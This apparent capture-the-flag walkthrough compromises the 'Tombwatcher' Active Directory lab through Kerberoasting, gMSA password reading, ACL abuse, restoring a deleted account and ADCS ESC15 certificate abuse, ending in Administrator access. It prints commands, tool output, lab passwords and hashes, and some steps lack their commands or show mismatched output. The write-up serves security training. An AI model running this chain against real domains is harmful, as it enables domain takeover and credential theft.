We can apply a little filter to the Tombwatcher.allPorts file to extract the ports and conduct a more comprehensive scan on them by extracting the services and their version running on each port and also executing some default scripts to gather more information
Note that this scan is also exported to have evidence at hand
# Nmap 7.94SVN scan initiated Sun Jan 25 22:10:50 2026 as: nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49695,49696,49698,49717,49732,49747 -sC -sV -v -n -Pn --disable-arp-ping -oN Tombwatcher.targeted 10.129.232.167Nmap scan report for 10.129.232.167Host is up (0.048s latency).PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus80/tcp open http Microsoft IIS httpd 10.0| http-methods:| Supported Methods: OPTIONS TRACE GET HEAD POST|_ Potentially risky methods: TRACE|_http-server-header: Microsoft-IIS/10.0|_http-title: IIS Windows Server88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-25 21:12:51Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=DC01.tombwatcher.htb| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb| Issuer: commonName=tombwatcher-CA-1| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha1WithRSAEncryption| Not valid before: 2024-11-16T00:47:59| Not valid after: 2025-11-16T00:47:59| MD5: a396:4dc0:104d:3c58:54e0:19e3:c2ae:0666|_SHA-1: fe5e:76e2:d528:4a33:8adf:c84e:92e3:900e:4234:ef9c|_ssl-date: 2026-01-25T21:14:29+00:00; +2m04s from scanner time.445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=DC01.tombwatcher.htb| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb| Issuer: commonName=tombwatcher-CA-1| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha1WithRSAEncryption| Not valid before: 2024-11-16T00:47:59| Not valid after: 2025-11-16T00:47:59| MD5: a396:4dc0:104d:3c58:54e0:19e3:c2ae:0666|_SHA-1: fe5e:76e2:d528:4a33:8adf:c84e:92e3:900e:4234:ef9c|_ssl-date: 2026-01-25T21:14:29+00:00; +2m04s from scanner time.3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)|_ssl-date: 2026-01-25T21:14:29+00:00; +2m04s from scanner time.| ssl-cert: Subject: commonName=DC01.tombwatcher.htb| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb| Issuer: commonName=tombwatcher-CA-1| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha1WithRSAEncryption| Not valid before: 2024-11-16T00:47:59| Not valid after: 2025-11-16T00:47:59| MD5: a396:4dc0:104d:3c58:54e0:19e3:c2ae:0666|_SHA-1: fe5e:76e2:d528:4a33:8adf:c84e:92e3:900e:4234:ef9c3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=DC01.tombwatcher.htb| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb| Issuer: commonName=tombwatcher-CA-1| Public Key type: rsa| Public Key bits: 2048| Signature Algorithm: sha1WithRSAEncryption| Not valid before: 2024-11-16T00:47:59| Not valid after: 2025-11-16T00:47:59| MD5: a396:4dc0:104d:3c58:54e0:19e3:c2ae:0666|_SHA-1: fe5e:76e2:d528:4a33:8adf:c84e:92e3:900e:4234:ef9c|_ssl-date: 2026-01-25T21:14:29+00:00; +2m04s from scanner time.5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found9389/tcp open mc-nmf .NET Message Framing49666/tcp open msrpc Microsoft Windows RPC49695/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.049696/tcp open msrpc Microsoft Windows RPC49698/tcp open msrpc Microsoft Windows RPC49717/tcp open msrpc Microsoft Windows RPC49732/tcp open msrpc Microsoft Windows RPC49747/tcp open msrpc Microsoft Windows RPCService Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:| smb2-security-mode:| 3:1:1:|_ Message signing enabled and required| smb2-time:| date: 2026-01-25T21:13:47|_ start_date: N/A|_clock-skew: mean: 2m03s, deviation: 1s, median: 2m03sRead data files from: /usr/bin/../share/nmapService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Sun Jan 25 22:12:25 2026 -- 1 IP address (1 host up) scanned in 95.55 seconds
139, 445 - SMB
Let’s start with the SMB port as we can gather some interesting information about the target such as its hostname, the domain it belongs to, the OS and other data
Based on the open ports, we can confirm that the target is a DC (Domain Controller)
netexec smb 10.129.232.167
Command Output
SMB 10.129.232.167 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:None) (Null Auth:True)
Once we list the hostname and knowing that is a DC, we should add the former to our /etc/hosts file along with the domain name and the DC’s FQDN as we will probably have to perform certain kerberos-related actions
[+] IP: DC01:445t... Name: unknown Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC NETLOGON READ ONLY Logon server share SYSVOL READ ONLY Logon server share
There is no non-standard share. However, we can look for low-hanging fruit on SYSVOL, such as GPP Credentials or any other type of information disclosure
To do so, we can mount locally the given share
mkdir SYSVOL && mount --type cifs --options 'username=henry,password=H3nry_987TGV!,domain=tombwatcher.htb' '//10.129.232.167/SYSVOL' SYSVOL
And list its content
tree -a SYSVOL
Command Output
SYSVOL└── tombwatcher.htb ├── Policies │ ├── {31B2F340-016D-11D2-945F-00C04FB984F9} │ │ ├── GPT.INI │ │ ├── MACHINE │ │ │ └── Microsoft │ │ │ └── Windows NT │ │ │ └── SecEdit │ │ │ └── GptTmpl.inf │ │ └── USER │ └── {6AC1786C-016F-11D2-945F-00C04fB984F9} │ ├── GPT.INI │ ├── MACHINE │ │ └── Microsoft │ │ └── Windows NT │ │ └── SecEdit │ │ └── GptTmpl.inf │ └── USER └── scripts16 directories, 4 files
But there is nothing interesting. Similarly, we can check for GPP Credentials without the need for local mount as follows
As we have valid domain credentials, we can create a user list related to the domain
net rpc user -U 'tombwatcher.htb/henry%H3nry_987TGV!' -S 'DC01' > user.list
Command Output
AdministratorAlfredGuestHenryjohnkrbtgtsam
Before running exhaustive domain enumeration tools such as LDAPDomaindump, Rusthound-CE.py and so on, we will check if the current user has any ACL rights over the other user accounts
...<SNIP>...AlfredImpacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies[*] Parsing DACL[*] Printing parsed DACL[*] Filtering results for SID (S-1-5-21-1392491010-1358638721-2126982587-1103)[*] ACE[5] info [*] ACE Type : ACCESS_ALLOWED_OBJECT_ACE[*] ACE flags : CONTAINER_INHERIT_ACE[*] Access mask : WriteProperty (0x20)[*] Flags : ACE_OBJECT_TYPE_PRESENT[*] Object type (GUID) : Validated-SPN (f3a64788-5306-11d1-a9c5-0000f80367c1)[*] Trustee (SID) : Henry (S-1-5-21-1392491010-1358638721-2126982587-1103)...<SNIP>...
And the controlled user has the Validated-SPN right over a user called Alfred. This right allows us to carry out a Targeted Kerberoast attack
That is, we can add any value to the servicePrincipalName attribute of the target account to be able to request a Service Ticket to the Ticket Granting Service of the KDC for the SPN in question
Therefore, we will receive a Service Ticket encrypted with a key derived from the password of the target account. Then, we can use certain tools that extract a crackable hash from the ST and try to crack it
In order to accomplish this task, we have both a manual and an automatic method
Once we have the resulting hash from the given service ticket, we can try to crack it in order to retrieve the plain password of the user account alfred
And we have a password! Before checking if it is valid for the user alfred, we must be clear that the hashcat mode for cracking TGS_REP hashes is 13100
In addition to that, one last step we must take is to clean the SPN set. To do this, just proceed as follows using BloodyAD
In the same manner, we could carry out another ACL enumeration over the domain user accounts, but this time with alfred, to check if the latter has any rights over any account
But we can tell you in advance that in this case we get nothing
Similarly, we could perform the same action but for groups. That is, check if the user alfred has any right over any domain group
To do so, we can use DACLedit.py again
But first, let’s create a wordlist containing any domain group
net rpc group list -U 'tombwatcher.htb/alfred%basketball' -S 'DC01' > group.list
...<SNIP>...InfrastructureImpacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies[*] Parsing DACL[*] Printing parsed DACL[*] Filtering results for SID (S-1-5-21-1392491010-1358638721-2126982587-1104)[*] ACE[3] info [*] ACE Type : ACCESS_ALLOWED_ACE[*] ACE flags : CONTAINER_INHERIT_ACE[*] Access mask : Self (0x8)[*] Trustee (SID) : Alfred (S-1-5-21-1392491010-1358638721-2126982587-1104)...<SNIP>...
And we have a hit! Our controlled user account (alfred) can add itself to the Infrastructure group
But fist, we should check what users belonging to this group are capable of
Again, to carry out this task, we can list the ACLs for all domain user accounts and look for any matches related to the Infrastructure group
But we won’t get any results, and the same applies for the domain groups
So, the next approach is to check the ACLs for the computer accounts
To do so, we first need a list of all the computer accounts in the domain, which can be obtained using tools such as ldapsearch by carrying out a search with a small LDAP filter
We can now proceed with the ACL enumeration over the domain computer accounts, but we get nothing
At this point, before running an ingestor/collector and import the data into a deployed instance of BH-CE, let’s check if any domain password solution such as LAPS or gMSA is being used on the target AD enviroment
We can exclude LAPS as we have seen that our controlled user account does not have any rights over any domain object aside from the Infrastructure group
Regarding gMSA, we must bear in mind that the ability of an account to recover a gMSA password is not determined by the DACL of the given object, but rather by the ACL defined within its msDS-GroupMSAMembership attribute
That said, we can leverage the BloodyAD tool to retrieve all the gMSA-related ACES from the computer account’s ACL stored in its gMSA attribute
Abusing Add-Membership to recover a gMSA password
We have to bear in mind that we are dealing with computer accounts as they are the only existing service accounts in the domain, and all gMSA-related stuff only applies to service accounts
Remember that a service account is any domain account that has a servicePrincipalName set, that’s all. With this in mind, a user account becomes a service account when it has one or more SPNs set
Therefore, let’s start by listing the existing gMSA ACES for the ansible_dev$ computer account
And we have that the Infrastructure group has GenericAll ( i.e. FullControl ) over this computer account. Therefore, any member belonging to this group can retrieve the plain password for the ansible_dev$ computer account
Since we have control over alfred and this account can add itself to the Infrastructure group, we can proceed by adding alfred to the latter and subsequently retrieve the password of the computer account by leveraging the existing gMSA ACE
So, let’s get started
First, we use Net RPC to add alfred to the Infrastructure group
net rpc group addmem 'Infrastructure' 'alfred' -U 'tombwatcher.htb/alfred%basketball' -S 'DC01'
Command Output
Could not add alfred to Infrastructure: NT_STATUS_ACCESS_DENIED
But we got an STATUS_ACCESS_DENIED error. We may not be able to perform this action through RPC, let’s try with LDAP. To do this, we use BloodyAD
Users or groups who can read password for ansible_dev$:Infrastructureansible_dev$:::22d7972cb291784b28f3b6f5bc79e4cfansible_dev$:aes256-cts-hmac-sha1-96:9a613b6a69c60404a3dc55438f554d2774694707b1dcc2bb20f6442af2b73b47ansible_dev$:aes128-cts-hmac-sha1-96:713c1cb78f7c2803107e36747c45785b
In any case, we obtain the NT hash and AES Keys of the ansible_dev$ computer account
We can check if the NT Hash is valid in the following way
johnImpacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies[*] Parsing DACL[*] Printing parsed DACL[*] Filtering results for SID (S-1-5-21-1392491010-1358638721-2126982587-1105)[*] ACE[20] info [*] ACE Type : ACCESS_ALLOWED_ACE[*] ACE flags : CONTAINER_INHERIT_ACE[*] Access mask : WriteOwner (0x80000)[*] Trustee (SID) : sam (S-1-5-21-1392491010-1358638721-2126982587-1105)
Leveraging WriteOwner Right to add GenericAll
This time sam has WriteOwner over a user account called john, in other words, it can be compromised
This type of permission allows the grantee to edit the owner of the given object. Since we have control over sam, we can authenticate ourselves as the latter to change the john object owner to sam
Once we change the owner to an account under our control, we can add any ACE to the object’s ACL. That is, we can add any right we want in order to compromise the target account
In this case, we can opt to add FullControl (i.e. GenericAll) over john for ourselves to open up other attack vectors that allow us to carry out actions such as a password change or more OPSEC approaches, namely a Shadow Credentials attack
In order to do the latter, the KDC would need to have a certificate to be able to handle properly the incoming client requests and send the subsequently AS_REP containing both the Ticket Granting Ticket, encrypted with a key derived from the KRBTGT password, and an Encrypted part, encrypted with a key derived from the requested principal
Furthermore, since this attack basically consists of carrying out a AS_REQ through PKINIT Key trust, we may end up extracting the NT Hash of the given principal as the KDC stores it inside the TGT
That said, let’s get started
First, we have to modify the owner of john. To do this, we can leverage tools such as BloodyAD or Impacket’s owneredit.py
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies[*] Current owner information below[*] - SID: S-1-5-21-1392491010-1358638721-2126982587-1105[*] - sAMAccountName: sam[*] - distinguishedName: CN=sam,CN=Users,DC=tombwatcher,DC=htb[*] OwnerSid modified successfully!
In any case, we managed to modify its owner
As mentioned earlier, since we have control over the account that owns the user john, we can add FullControl for ourselves. For this, we can use again BloodyAD or Impacket’s DACLedit.py
Certipy v5.0.4 - by Oliver Lyak (ly4k)[*] Targeting user 'john'[*] Generating certificate[*] Certificate generated[*] Generating Key Credential[*] Key Credential generated with DeviceID 'b03004c026fa49e395d43170608d00f2'[*] Adding Key Credential with device ID 'b03004c026fa49e395d43170608d00f2' to the Key Credentials for 'john'[*] Successfully added Key Credential with device ID 'b03004c026fa49e395d43170608d00f2' to the Key Credentials for 'john'[*] Authenticating as 'john' with the certificate[*] Certificate identities:[*] No identities found in this certificate[*] Using principal: 'john@tombwatcher.htb'[*] Trying to get TGT...[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)[-] Use -debug to print a stacktrace[-] See the wiki for more information[*] Restoring the old Key Credentials for 'john'[*] Successfully restored the old Key Credentials for 'john'[*] NT hash for 'john': None
We were successful in adding the keyCredential object within the msDS-KeyCredentialLink attribute of the target account john, but we were unable to obtain a TGT during the AS Exchange via PKINIT key trust due to the following error
KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
This error states that the KDC does not support the pre-authentication data (padata) type sent by the client, probably due to the absence of a valid certificate to carry out a successful AS Exchange
Since we cannot complete the attack vector above, before changing the password, we can opt for other approaches
Failing Targeted Kerberoast
We can add a servicePrincipalName to the targer account and request a service ticket to try to crack it and obtain the plain password of the given account so we do not have to modify its password
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies[*] Parsing DACL[*] Printing parsed DACL[*] Filtering results for SID (S-1-5-21-1392491010-1358638721-2126982587-1106)[*] ACE[12] info [*] ACE Type : ACCESS_ALLOWED_OBJECT_ACE[*] ACE flags : None[*] Access mask : ControlAccess (0x100)[*] Flags : ACE_OBJECT_TYPE_PRESENT[*] Object type (GUID) : Reanimate-Tombstones (45ec5156-db7e-47bb-b53f-dbeb2d03c40f)[*] Trustee (SID) : john (S-1-5-21-1392491010-1358638721-2126982587-1106)
Yes, sir! The controlled account has the Reanimate-Tombstones ACL over the domain object, which means that the AD Recycle bin is enabled
If so, when a sysadmin or other individual deletes a domain object, it remains in an AD container called CN=Deleted Objects, DC=Domain, DC=internal until a certain period of time and then, it is purged
Abusing Reanimate-Tombstones to restore a deleted AD object
When a domain object is deleted, in addition to being moved to the mentioned container, its isDeleted attribute is modified to TRUE. That is, the object has a certain amount of time before being purged (180 days by default)
Once the grace period expires, its isRecycled attribute is set to TRUE and the object is deleted permanently
That being said, we could list the domain objects located in CN=Deleted Objects, DC=tombwatcher, DC=htb, i.e. the deleted objects
To do so, it is mandatory that the principal in question has the LIST_CHILD rights over the mentioned container
Therefore, let’s list the ACLs for this container and search for an ACE related to john
During the LDAP search, we have to specify a certain OID related to deleted Objects, which cannot be done using DACLedit.py. So, we have to use bloodyAD
Since the output will be large, it is recommended to filter by john’s SID. We can list its SID as follows
LDAP 10.129.101.215 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb) (signing:None) (channel binding:Never) LDAP 10.129.101.215 389 DC01 [+] tombwatcher.htb\john:password1234$!ADCS 10.129.101.215 389 DC01 [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'ADCS 10.129.101.215 389 DC01 Found PKI Enrollment Server: DC01.tombwatcher.htbADCS 10.129.101.215 389 DC01 Found CN: tombwatcher-CA-1
And it is! So, if we were able to restore the cert_admin user account , we could run certipy find in order to look for vulnerable templates
It should be noted that this could be done with any of the compromised accounts, but the name of this accounts results interesting
There may be a template that is vulnerable and for which this user has enrollment rights
Let’s recap, we control a user account called john which can restore any deleted domain accounts. In addition to have this right over the domain object, this user account must have write permission, such as GenericWrite, over the container OU where the given object will be restored
Thus, we can list the last known parent of a deleted AD object by querying its lastKnownParent attribute
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies[*] Parsing DACL[*] Printing parsed DACL[*] Filtering results for SID (S-1-5-21-1392491010-1358638721-2126982587-1106)[*] ACE[7] info [*] ACE Type : ACCESS_ALLOWED_ACE[*] ACE flags : CONTAINER_INHERIT_ACE[*] Access mask : FullControl (0xf01ff)[*] Trustee (SID) : john (S-1-5-21-1392491010-1358638721-2126982587-1106)
And it is! It has GenericAll, also know as FullControl. So, we meet all the requirements to restore the account
Reanimate-Tombstones ACL over the domain object
WriteOwner, WriteDACL, GenericAll, GenericWrite or any other sensitive right over the deleted object’s parent container
It is worth noting that the GenericAll right applies for both the ADCS OU and its children, therefore we can change the cert_admin user password once we restore it
That said, we can begin by restoring the cert_admin user account. There are three deleted accounts called cert_admin, so let’s restore the one with the highest SID first
[+] S-1-5-21-1392491010-1358638721-2126982587-1111 has been restored successfully under CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb
Abusing ACL inheritance to change the password of a restored object
Once the object is restored, we change its password directly. This time there is no need to be more OPSEC by performing techniques such as Shadow Credentials or targeted Kerberoasting as the user account in question was deleted, so no one was using it
net rpc password 'cert_admin' 'password1234$!' -U 'tombwatcher.htb/john%password1234$!' -S 'DC01'
As we have done before, we check if the password has been set correctly
This ADCS attack vector is quite interesting. It leverages a set of factors to inject an arbitrary application policy into a certificate issued from a V1 Template with the enrolle supplies subject feature enabled
That is, it is mandatory that the following requirements are met in order to carry out the ESC15
The controlled account has enrollments rights over the template
The template must be V1 format
The “Enrollee supplies subject” feature must be enabled in the template
That said, these attack vector has two different courses of action, but both with the same goal: compromising the entire domain
Once an operator has identified a template vulnerable to ESC15 and all the requirements are met, we can follows two approaches
Client Authentication
In this scenario, having identified a vulnerable template, an operator sends to the CA a Certificate Signing Request (CSR) containing a Client authentication application policy, in addition to the User Principal Name (UPN) of the target account specified in the subject
The latter can be done ( i.e. a client specifying any data in the subject ) as the enrollee supplies subject feature is enabled for this V1 template
Once the CA issues the certificate, it contains EKUS ( application policies ) from both the CSR and the template. In this case, the vulnerable template has the Server Authentication EKU, so the issued certificate contains
Client Authentication
Server Authentication
The latter ( i.e. the template EKU ) does not allow any type of client authentication, so an adversary cannot use a certificate that only contains this EKU to perform either an authentication via Schannel or PKINIT certificate trust i.e. a pass the certificate
That’s why we provided the CA with a CSR containing Client Authentication application policy, so that the CA generates a certificate that can be used to carry out a pass-the-certificate
Certipy v5.0.4 - by Oliver Lyak (ly4k)[*] Requesting certificate via RPC[*] Request ID is 4[*] Successfully requested certificate[*] Got certificate with UPN 'Administrator@tombwatcher.htb'[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'[*] Saving certificate and private key to 'administrator.pfx'[*] Wrote certificate and private key to 'administrator.pfx'
Once we have the certificate including Client Authentication as application policy and with the UPN of the target account, namely the administrator account, in the subject, we can perform a Pass the Certificate via Schannel
Certipy v5.0.4 - by Oliver Lyak (ly4k)[*] Certificate identities:[*] SAN UPN: 'Administrator@tombwatcher.htb'[*] SAN URL SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'[*] Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'[*] Connecting to 'ldaps://10.129.101.215:636'[-] Failed to connect to LDAP server: ("('socket ssl wrapping error: [SSL: CA_MD_TOO_WEAK] ca md too weak (_ssl.c:3895)',)",)[-] Use -debug to print a stacktrace
But we got an SSL-related error. So, before attempting to solve the problem, let’s move on the other alternative
Certificate Request Agent
The principle is the same, adding an arbitrary application policy within the provided CSR to receive a certificate from which we can perform potentially malicious actions
This time we will provide a CSR containing Certificate Request Agent as application policy to the CA, so we can obtain a certificate that will act as an Enrollment agent
A certificate acting as an Enrollment agent allows an operator to request a certificate from a template intended for client authentication as any domain user account
That is, we can request a certificate as the DA ( Domain Admin ) and use that certificate to initiate an AS Exchange via PKINIT Certificate Trust i.e. a pass the certificate
Take into account that any Ticket Grantin Ticket generated during an AS Exchange via PKINIT contains in its encrypted part, specifically in the Privilege Attribute Certificate, the NT hash
Therefore, once we have recieve the TGT thanks to the PtC, we can carry out an Unpac the Hash to extract the NT Hash from it through the U2U kerberos extension
The entire procees is automated by the following command
Certipy v5.0.4 - by Oliver Lyak (ly4k)[*] Requesting certificate via RPC[*] Request ID is 5[*] Successfully requested certificate[*] Got certificate without identity[*] Certificate has no object SID[*] Try using -sid to set the object SID or see the wiki for more details[*] Saving certificate and private key to 'cert_admin.pfx'[*] Wrote certificate and private key to 'cert_admin.pfx'
As stated earlier, we can use this certificate as an Enrollment agent to request a another, which includes Client Authentication as application policy, on behalf of the domain admin account
Certipy v5.0.4 - by Oliver Lyak (ly4k)[*] Requesting certificate via RPC[*] Request ID is 15[*] Successfully requested certificate[*] Got certificate with UPN 'Administrator@tombwatcher.htb'[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'[*] Saving certificate and private key to 'administrator.pfx'[*] Wrote certificate and private key to 'administrator.pfx'
Next, just use the received certificate to perform a PtC and the subsequent Unpac the hash
Certipy v5.0.4 - by Oliver Lyak (ly4k)[*] Certificate identities:[*] SAN UPN: 'Administrator@tombwatcher.htb'[*] Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'[*] Using principal: 'administrator@tombwatcher.htb'[*] Trying to get TGT...[*] Got TGT[*] Saving credential cache to 'administrator.ccache'[*] Wrote credential cache to 'administrator.ccache'[*] Trying to retrieve NT hash for 'administrator'[*] Got hash for 'administrator@tombwatcher.htb': aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc
Lastly, we verify the NT Hash for the Administrator user
Evil-WinRM shell v3.5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machineData: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completionInfo: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\Administrator\Documents> whoamitombwatcher\administrator